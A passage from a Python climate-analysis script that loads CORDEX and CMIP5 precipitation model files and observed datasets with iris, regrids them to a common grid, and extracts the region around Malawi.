'/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MPI-M-MPI-ESM-LR_historical_r1i1p1_CLMcom-CCLM4-8-17_v1_mon_194912-200512.nc'     \r\n    MPIREMO = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MPI-M-MPI-ESM-LR_historical_r1i1p1_MPI-CSC-REMO2009_v1_mon_195001-200512.nc'    \r\n    MPISMHI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MPI-M-MPI-ESM-LR_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    NCCDMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_NCC-NorESM1-M_historical_r1i1p1_DMI-HIRHAM5_v1_mon_195101-200512.nc'    \r\n    NCCSMHI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_NCC-NorESM1-M_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'   \r\n    NOAA = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_NOAA-GFDL-GFDL-ESM2M_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'     \r\n    \r\n    #bring in all the GCM models we need and give them a name\r\n    CanESM2= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_CanESM2_historical_r1i1p1_185001-200512.nc'\r\n    CNRMG= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_CNRM-CM5-2_historical_r1i1p1_195001-200512.nc'\r\n    MK3 = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_CSIRO-Mk3-6-0_historical_r1i1p1_185001-200512.nc'\r\n    EARTH= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_EC-EARTH_historical_r12i1p1_195001-201212.nc'\r\n    EARTH3= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_EC-EARTH_historical_r3i1p1_1850-2009.nc'\r\n    GFDL='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_GFDL-ESM2M_historical_r1i1p1_194601-200512.nc'\r\n    HadGEM2='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_HadGEM2-ES_historical_r1i1p1_193412-200511.nc'\r\n    IPSLG='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_IPSL-CM5B-LR_historical_r1i1p1_185001-200512.nc'\r\n    MIROCG='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_MIROC5_historical_r1i1p1_185001-201212.nc'\r\n    MPI='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_MPI-ESM-MR_historical_r1i1p1_185001-200512.nc'\r\n    NorESM1='/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/GCM_data/pr_Amon_NorESM1-M_historical_r1i1p1_185001-200512.nc'\r\n    \r\n    #Load exactly one cube from given file\r\n    CCCma = iris.load_cube(CCCma)\r\n    CLMcom = iris.load_cube(CLMcom)\r\n    DMI = iris.load_cube(DMI, 'precipitation_flux')\r\n    KNMI = iris.load_cube(KNMI)\r\n    MPIE = iris.load_cube(MPIE)\r\n    SMHI = iris.load_cube(SMHI)\r\n    \r\n    CCCmaCanRCM = iris.load_cube(CCCmaCanRCM)\r\n    CCCmaSMHI = iris.load_cube(CCCmaSMHI)\r\n    CNRM = iris.load_cube(CNRM)\r\n    CNRMSMHI = iris.load_cube(CNRMSMHI)\r\n    CSIRO = iris.load_cube(CSIRO)\r\n    ICHECDMI = iris.load_cube(ICHECDMI, 'precipitation_flux')\r\n    ICHECCCLM = iris.load_cube(ICHECCCLM)\r\n    ICHECKNMI = iris.load_cube(ICHECKNMI)\r\n    ICHECMPI = iris.load_cube(ICHECMPI)\r\n    ICHECSMHI = iris.load_cube(ICHECSMHI)\r\n    IPSL = iris.load_cube(IPSL)\r\n    MIROC = iris.load_cube(MIROC)\r\n    MOHCCCLM = iris.load_cube(MOHCCCLM)\r\n    MOHCKNMI = iris.load_cube(MOHCKNMI)\r\n    MOHCSMHI = iris.load_cube(MOHCSMHI)\r\n    MPICCLM = iris.load_cube(MPICCLM)\r\n    MPIREMO = iris.load_cube(MPIREMO)\r\n    MPISMHI = iris.load_cube(MPISMHI)\r\n    NCCDMI = iris.load_cube(NCCDMI, 'precipitation_flux')\r\n    NCCSMHI = iris.load_cube(NCCSMHI)\r\n    NOAA = iris.load_cube(NOAA)\r\n    \r\n    CanESM2 = iris.load_cube(CanESM2)\r\n    CNRMG = iris.load_cube(CNRMG)\r\n    MK3 = iris.load_cube(MK3)\r\n    EARTH = iris.load_cube(EARTH)\r\n    EARTH3 = iris.load_cube(EARTH3)\r\n    GFDL = iris.load_cube(GFDL, 'precipitation_flux')\r\n    HadGEM2 = iris.load_cube(HadGEM2)\r\n    IPSLG = iris.load_cube(IPSLG)\r\n    MIROCG = iris.load_cube(MIROCG)\r\n    MPI = iris.load_cube(MPI)\r\n    NorESM1 = iris.load_cube(NorESM1)\r\n    \r\n    #remove flat latitude and longitude and only use grid latitude and grid longitude to make consistent with the observed data, also make sure all of the longitudes are monotonic. This is only applicable to the ERAINT and CORDEX Models as the Observed data and GCMs are already in standard linear format.    \r\n    lats = iris.coords.DimCoord(CCCma.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CCCma.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n                                \r\n    CCCma.remove_coord('latitude')\r\n    CCCma.remove_coord('longitude')\r\n    CCCma.remove_coord('grid_latitude')\r\n    CCCma.remove_coord('grid_longitude')\r\n    CCCma.add_dim_coord(lats, 1)\r\n    CCCma.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(CLMcom.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CLMcom.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    CLMcom.remove_coord('latitude')\r\n    CLMcom.remove_coord('longitude')\r\n    CLMcom.remove_coord('grid_latitude')\r\n    CLMcom.remove_coord('grid_longitude')\r\n    CLMcom.add_dim_coord(lats, 1)\r\n    CLMcom.add_dim_coord(lons, 2)  \r\n    \r\n    lats = iris.coords.DimCoord(DMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = DMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    DMI.remove_coord('latitude')\r\n    DMI.remove_coord('longitude')\r\n    DMI.remove_coord('grid_latitude')\r\n    DMI.remove_coord('grid_longitude')\r\n    DMI.add_dim_coord(lats, 1)\r\n    DMI.add_dim_coord(lons, 2) \r\n    \r\n    lats = iris.coords.DimCoord(KNMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = KNMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n        \r\n    KNMI.remove_coord('latitude')\r\n    KNMI.remove_coord('longitude')\r\n    KNMI.remove_coord('grid_latitude')\r\n    KNMI.remove_coord('grid_longitude')\r\n    KNMI.add_dim_coord(lats, 1)\r\n    KNMI.add_dim_coord(lons, 2) \r\n    \r\n    lats = iris.coords.DimCoord(MPIE.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MPIE.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n   \r\n    MPIE.remove_coord('latitude')\r\n    MPIE.remove_coord('longitude')\r\n    MPIE.remove_coord('grid_latitude')\r\n    MPIE.remove_coord('grid_longitude')\r\n    MPIE.add_dim_coord(lats, 1)\r\n    MPIE.add_dim_coord(lons, 2)\r\n\r\n    lats = iris.coords.DimCoord(SMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = SMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    SMHI.remove_coord('latitude')\r\n    SMHI.remove_coord('longitude')\r\n    SMHI.remove_coord('grid_latitude')\r\n    SMHI.remove_coord('grid_longitude')\r\n    SMHI.add_dim_coord(lats, 1)\r\n    SMHI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(CCCmaCanRCM.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CCCmaCanRCM.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n                              \r\n    CCCmaCanRCM.remove_coord('latitude')\r\n    CCCmaCanRCM.remove_coord('longitude')\r\n    CCCmaCanRCM.remove_coord('grid_latitude')\r\n    CCCmaCanRCM.remove_coord('grid_longitude')\r\n    CCCmaCanRCM.add_dim_coord(lats, 1)\r\n    CCCmaCanRCM.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(CCCmaSMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CCCmaSMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    CCCmaSMHI.remove_coord('latitude')\r\n    CCCmaSMHI.remove_coord('longitude')\r\n    CCCmaSMHI.remove_coord('grid_latitude')\r\n    CCCmaSMHI.remove_coord('grid_longitude')\r\n    CCCmaSMHI.add_dim_coord(lats, 1)\r\n    CCCmaSMHI.add_dim_coord(lons, 2)  \r\n    \r\n    lats = iris.coords.DimCoord(CNRM.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CNRM.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n                                \r\n    CNRM.remove_coord('latitude')\r\n    CNRM.remove_coord('longitude')\r\n    CNRM.remove_coord('grid_latitude')\r\n    CNRM.remove_coord('grid_longitude')\r\n    CNRM.add_dim_coord(lats, 1)\r\n    CNRM.add_dim_coord(lons, 2) \r\n    \r\n    lats = iris.coords.DimCoord(CNRMSMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CNRMSMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    CNRMSMHI.remove_coord('latitude')\r\n    CNRMSMHI.remove_coord('longitude')\r\n    CNRMSMHI.remove_coord('grid_latitude')\r\n    CNRMSMHI.remove_coord('grid_longitude')\r\n    CNRMSMHI.add_dim_coord(lats, 1)\r\n    CNRMSMHI.add_dim_coord(lons, 2) \r\n    \r\n    lats = iris.coords.DimCoord(CSIRO.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = CSIRO.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    CSIRO.remove_coord('latitude')\r\n    CSIRO.remove_coord('longitude')\r\n    CSIRO.remove_coord('grid_latitude')\r\n    CSIRO.remove_coord('grid_longitude')\r\n    CSIRO.add_dim_coord(lats, 1)\r\n    CSIRO.add_dim_coord(lons, 2) \r\n    \r\n    lats = iris.coords.DimCoord(ICHECDMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = ICHECDMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')    \r\n    \r\n    ICHECDMI.remove_coord('latitude')\r\n    ICHECDMI.remove_coord('longitude')\r\n    ICHECDMI.remove_coord('grid_latitude')\r\n    ICHECDMI.remove_coord('grid_longitude')\r\n    ICHECDMI.add_dim_coord(lats, 1)\r\n    ICHECDMI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(ICHECCCLM.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = ICHECCCLM.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees') \r\n    \r\n    ICHECCCLM.remove_coord('latitude')\r\n    ICHECCCLM.remove_coord('longitude')\r\n    ICHECCCLM.remove_coord('grid_latitude')\r\n    ICHECCCLM.remove_coord('grid_longitude')\r\n    ICHECCCLM.add_dim_coord(lats, 1)\r\n    ICHECCCLM.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(ICHECKNMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = ICHECKNMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees') \r\n    \r\n    ICHECKNMI.remove_coord('latitude')\r\n    ICHECKNMI.remove_coord('longitude')\r\n    ICHECKNMI.remove_coord('grid_latitude')\r\n    ICHECKNMI.remove_coord('grid_longitude')\r\n    ICHECKNMI.add_dim_coord(lats, 1)\r\n    ICHECKNMI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(ICHECMPI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = ICHECMPI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees') \r\n    \r\n    ICHECMPI.remove_coord('latitude')\r\n    ICHECMPI.remove_coord('longitude')\r\n    ICHECMPI.remove_coord('grid_latitude')\r\n    ICHECMPI.remove_coord('grid_longitude')\r\n    ICHECMPI.add_dim_coord(lats, 1)\r\n    ICHECMPI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(ICHECSMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = ICHECSMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    ICHECSMHI.remove_coord('latitude')\r\n    ICHECSMHI.remove_coord('longitude')\r\n    ICHECSMHI.remove_coord('grid_latitude')\r\n    ICHECSMHI.remove_coord('grid_longitude')\r\n    ICHECSMHI.add_dim_coord(lats, 1)\r\n    ICHECSMHI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(IPSL.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = IPSL.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    IPSL.remove_coord('latitude')\r\n    IPSL.remove_coord('longitude')\r\n    IPSL.remove_coord('grid_latitude')\r\n    IPSL.remove_coord('grid_longitude')\r\n    IPSL.add_dim_coord(lats, 1)\r\n    IPSL.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MIROC.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MIROC.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n                                \r\n    MIROC.remove_coord('latitude')\r\n    MIROC.remove_coord('longitude')\r\n    MIROC.remove_coord('grid_latitude')\r\n    MIROC.remove_coord('grid_longitude')\r\n    MIROC.add_dim_coord(lats, 1)\r\n    MIROC.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MOHCCCLM.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MOHCCCLM.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MOHCCCLM.remove_coord('latitude')\r\n    MOHCCCLM.remove_coord('longitude')\r\n    MOHCCCLM.remove_coord('grid_latitude')\r\n    MOHCCCLM.remove_coord('grid_longitude')\r\n    MOHCCCLM.add_dim_coord(lats, 1)\r\n    MOHCCCLM.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MOHCKNMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MOHCKNMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MOHCKNMI.remove_coord('latitude')\r\n    MOHCKNMI.remove_coord('longitude')\r\n    MOHCKNMI.remove_coord('grid_latitude')\r\n    MOHCKNMI.remove_coord('grid_longitude')\r\n    MOHCKNMI.add_dim_coord(lats, 1)\r\n    MOHCKNMI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MOHCSMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MOHCSMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MOHCSMHI.remove_coord('latitude')\r\n    MOHCSMHI.remove_coord('longitude')\r\n    MOHCSMHI.remove_coord('grid_latitude')\r\n    MOHCSMHI.remove_coord('grid_longitude')\r\n    MOHCSMHI.add_dim_coord(lats, 1)\r\n    MOHCSMHI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MPICCLM.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MPICCLM.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MPICCLM.remove_coord('latitude')\r\n    MPICCLM.remove_coord('longitude')\r\n    MPICCLM.remove_coord('grid_latitude')\r\n    MPICCLM.remove_coord('grid_longitude')\r\n    MPICCLM.add_dim_coord(lats, 1)\r\n    MPICCLM.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MPIREMO.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MPIREMO.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MPIREMO.remove_coord('latitude')\r\n    MPIREMO.remove_coord('longitude')\r\n    MPIREMO.remove_coord('grid_latitude')\r\n    MPIREMO.remove_coord('grid_longitude')\r\n    MPIREMO.add_dim_coord(lats, 1)\r\n    MPIREMO.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(MPISMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = MPISMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    MPISMHI.remove_coord('latitude')\r\n    MPISMHI.remove_coord('longitude')\r\n    MPISMHI.remove_coord('grid_latitude')\r\n    MPISMHI.remove_coord('grid_longitude')\r\n    MPISMHI.add_dim_coord(lats, 1)\r\n    MPISMHI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(NCCDMI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = NCCDMI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    NCCDMI.remove_coord('latitude')\r\n    NCCDMI.remove_coord('longitude')\r\n    NCCDMI.remove_coord('grid_latitude')\r\n    NCCDMI.remove_coord('grid_longitude')\r\n    NCCDMI.add_dim_coord(lats, 1)\r\n    NCCDMI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(NCCSMHI.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = NCCSMHI.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    NCCSMHI.remove_coord('latitude')\r\n    NCCSMHI.remove_coord('longitude')\r\n    NCCSMHI.remove_coord('grid_latitude')\r\n    NCCSMHI.remove_coord('grid_longitude')\r\n    NCCSMHI.add_dim_coord(lats, 1)\r\n    NCCSMHI.add_dim_coord(lons, 2)\r\n    \r\n    lats = iris.coords.DimCoord(NOAA.coord('latitude').points[:,0], standard_name='latitude', units='degrees')\r\n    lons = NOAA.coord('longitude').points[0]\r\n    for i in range(len(lons)):\r\n        if lons[i]>100.:\r\n            lons[i] = lons[i]-360.\r\n    lons = iris.coords.DimCoord(lons, standard_name='longitude', units='degrees')\r\n    \r\n    NOAA.remove_coord('latitude')\r\n    NOAA.remove_coord('longitude')\r\n    NOAA.remove_coord('grid_latitude')\r\n    NOAA.remove_coord('grid_longitude')\r\n    NOAA.add_dim_coord(lats, 1)\r\n    NOAA.add_dim_coord(lons, 2)\r\n    \r\n    #-------------------------------------------------------------------------\r\n    #PART 2: OBSERVED DATA\r\n    #bring in all the files we need and give them a name\r\n    CRU= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/Actual_Data/cru_ts4.00.1901.2015.pre.dat.nc'\r\n    UDel= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/Actual_Data/UDel_precip.mon.total.v401.nc'\r\n    GPCC= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/Actual_Data/ESRL_PSD_GPCC_precip.mon.combined.total.v7.nc'\r\n    \r\n    #Load exactly one cube from given file\r\n    CRU = iris.load_cube(CRU, 'precipitation')\r\n    UDel = iris.load_cube(UDel)\r\n    GPCC = iris.load_cube(GPCC)\r\n    \r\n    #-------------------------------------------------------------------------\r\n    #PART 3: FORMAT DATA TO BE PLOT SPECIFIC \r\n    #fix EARTH3 time units as they differ from all other models\r\n    t_coord=EARTH3.coord('time')\r\n    \r\n    t_unit = t_coord.attributes['invalid_units']\r\n    timestep, _, t_fmt_str = t_unit.split(' ')\r\n    new_t_unit_str= '{} since 1850-01-01 00:00:00'.format(timestep) \r\n    new_t_unit = cf_units.Unit(new_t_unit_str, calendar=cf_units.CALENDAR_STANDARD)\r\n    \r\n    new_datetimes = [datetime.datetime.strptime(str(dt), t_fmt_str) for dt in t_coord.points]\r\n    new_dt_points = [new_t_unit.date2num(new_dt) for new_dt in new_datetimes]\r\n    new_t_coord = iris.coords.DimCoord(new_dt_points, standard_name='time', units=new_t_unit)\r\n\r\n    t_coord_dim = EARTH3.coord_dims('time')\r\n    EARTH3.remove_coord('time')\r\n    EARTH3.add_dim_coord(new_t_coord,t_coord_dim)\r\n    \r\n    #regrid all models to have same latitude and longitude system, all regridded to model with lowest resolution\r\n    CCCma = CCCma.regrid(CanESM2, iris.analysis.Linear())\r\n    CLMcom =CLMcom.regrid(CanESM2, iris.analysis.Linear())\r\n    DMI=DMI.regrid(CanESM2, iris.analysis.Linear())\r\n    KNMI=KNMI.regrid(CanESM2, iris.analysis.Linear())\r\n    MPIE=MPIE.regrid(CanESM2, iris.analysis.Linear())\r\n    SMHI=SMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    \r\n    CCCmaCanRCM = CCCmaCanRCM.regrid(CanESM2, iris.analysis.Linear())\r\n    CCCmaSMHI = CCCmaSMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    CNRM =CNRM.regrid(CanESM2, iris.analysis.Linear())\r\n    CNRMSMHI =CNRMSMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    CSIRO=CSIRO.regrid(CanESM2, iris.analysis.Linear())\r\n    ICHECDMI=ICHECDMI.regrid(CanESM2, iris.analysis.Linear())\r\n    ICHECCCLM=ICHECCCLM.regrid(CanESM2, iris.analysis.Linear())\r\n    ICHECKNMI=ICHECKNMI.regrid(CanESM2, iris.analysis.Linear())\r\n    ICHECMPI=ICHECMPI.regrid(CanESM2, iris.analysis.Linear())\r\n    ICHECSMHI=ICHECSMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    IPSL=IPSL.regrid(CanESM2, iris.analysis.Linear())\r\n    MIROC=MIROC.regrid(CanESM2, iris.analysis.Linear())\r\n    MOHCCCLM=MOHCCCLM.regrid(CanESM2, iris.analysis.Linear())\r\n    MOHCKNMI=MOHCKNMI.regrid(CanESM2, iris.analysis.Linear())\r\n    MOHCSMHI=MOHCSMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    MPICCLM=MPICCLM.regrid(CanESM2, iris.analysis.Linear())\r\n    MPIREMO=MPIREMO.regrid(CanESM2, iris.analysis.Linear())\r\n    MPISMHI=MPISMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    NCCDMI=NCCDMI.regrid(CanESM2, iris.analysis.Linear())\r\n    NCCSMHI=NCCSMHI.regrid(CanESM2, iris.analysis.Linear())\r\n    NOAA=NOAA.regrid(CanESM2, iris.analysis.Linear())\r\n    \r\n    #CanESM2 = CanESM2.regrid(CanESM2, iris.analysis.Linear())\r\n    CNRMG =CNRMG.regrid(CanESM2, iris.analysis.Linear())\r\n    MK3 =MK3.regrid(CanESM2, iris.analysis.Linear())\r\n    EARTH =EARTH.regrid(CanESM2, iris.analysis.Linear())\r\n    EARTH3 =EARTH3.regrid(CanESM2, iris.analysis.Linear())\r\n    GFDL=GFDL.regrid(CanESM2, iris.analysis.Linear())\r\n    HadGEM2=HadGEM2.regrid(CanESM2, iris.analysis.Linear())\r\n    IPSLG=IPSLG.regrid(CanESM2, iris.analysis.Linear())\r\n    MIROCG=MIROCG.regrid(CanESM2, iris.analysis.Linear())\r\n    MPI=MPI.regrid(CanESM2, iris.analysis.Linear())\r\n    NorESM1=NorESM1.regrid(CanESM2, iris.analysis.Linear())\r\n    \r\n    CRU = CRU.regrid(CanESM2, iris.analysis.Linear())\r\n    UDel = UDel.regrid(CanESM2, iris.analysis.Linear())\r\n    GPCC = GPCC.regrid(CanESM2, iris.analysis.Linear())\r\n    \r\n    #we are only interested in the latitude and longitude relevant to Malawi (has to be slightly larger than country boundary to take into account resolution of GCMs)\r\n    Malawi = iris.Constraint(longitude=lambda v: 32.0 <= v <= 36., latitude=lambda v: -17. <= v <= -8.)  \r\n    \r\n    CCCma = CCCma.extract(Malawi)\r\n    CLMcom =CLMcom.extract(Malawi)\r\n    DMI=DMI.extract(Malawi)\r\n    KNMI=KNMI.extract(Malawi)\r\n    MPIE=MPIE.extract(Malawi)\r\n    SMHI=SMHI.extract(Malawi)\r\n        \r\n    CCCmaCanRCM = CCCmaCanRCM.extract(Malawi)\r\n    CCCmaSMHI = CCCmaSMHI.extract(Malawi)\r\n    CNRM =CNRM.extract(Malawi)\r\n    CNRMSMHI =CNRMSMHI.extract(Malawi)\r\n    CSIRO=CSIRO.extract(Malawi)\r\n    ICHECDMI=ICHECDMI.extract(Malawi)\r\n    ICHECCCLM=ICHECCCLM.extract(Malawi)\r\n    ICHECKNMI=ICHECKNMI.extract(Malawi)\r\n    ICHECMPI=ICHECMPI.extract(Malawi)\r\n    ICHECSMHI=ICHECSMHI.extract(Malawi)\r\n    IPSL=IPSL.extract(Malawi)\r\n    MIROC=MIROC.extract(Malawi)\r\n    MOHCCCLM=MOHCCCLM.extract(Malawi)\r\n    MOHCKNMI=MOHCKNMI.extract(Malawi)\r\n    MOHCSMHI=MOHCSMHI.extract(Malawi)\r\n    MPICCLM=MPICCLM.extract(Malawi)\r\n    MPIREMO=MPIREMO.extract(Malawi)\r\n    MPISMHI=MPISMHI.extract(Malawi)\r\n    NCCDMI=NCCDMI.extract(Malawi)\r\n    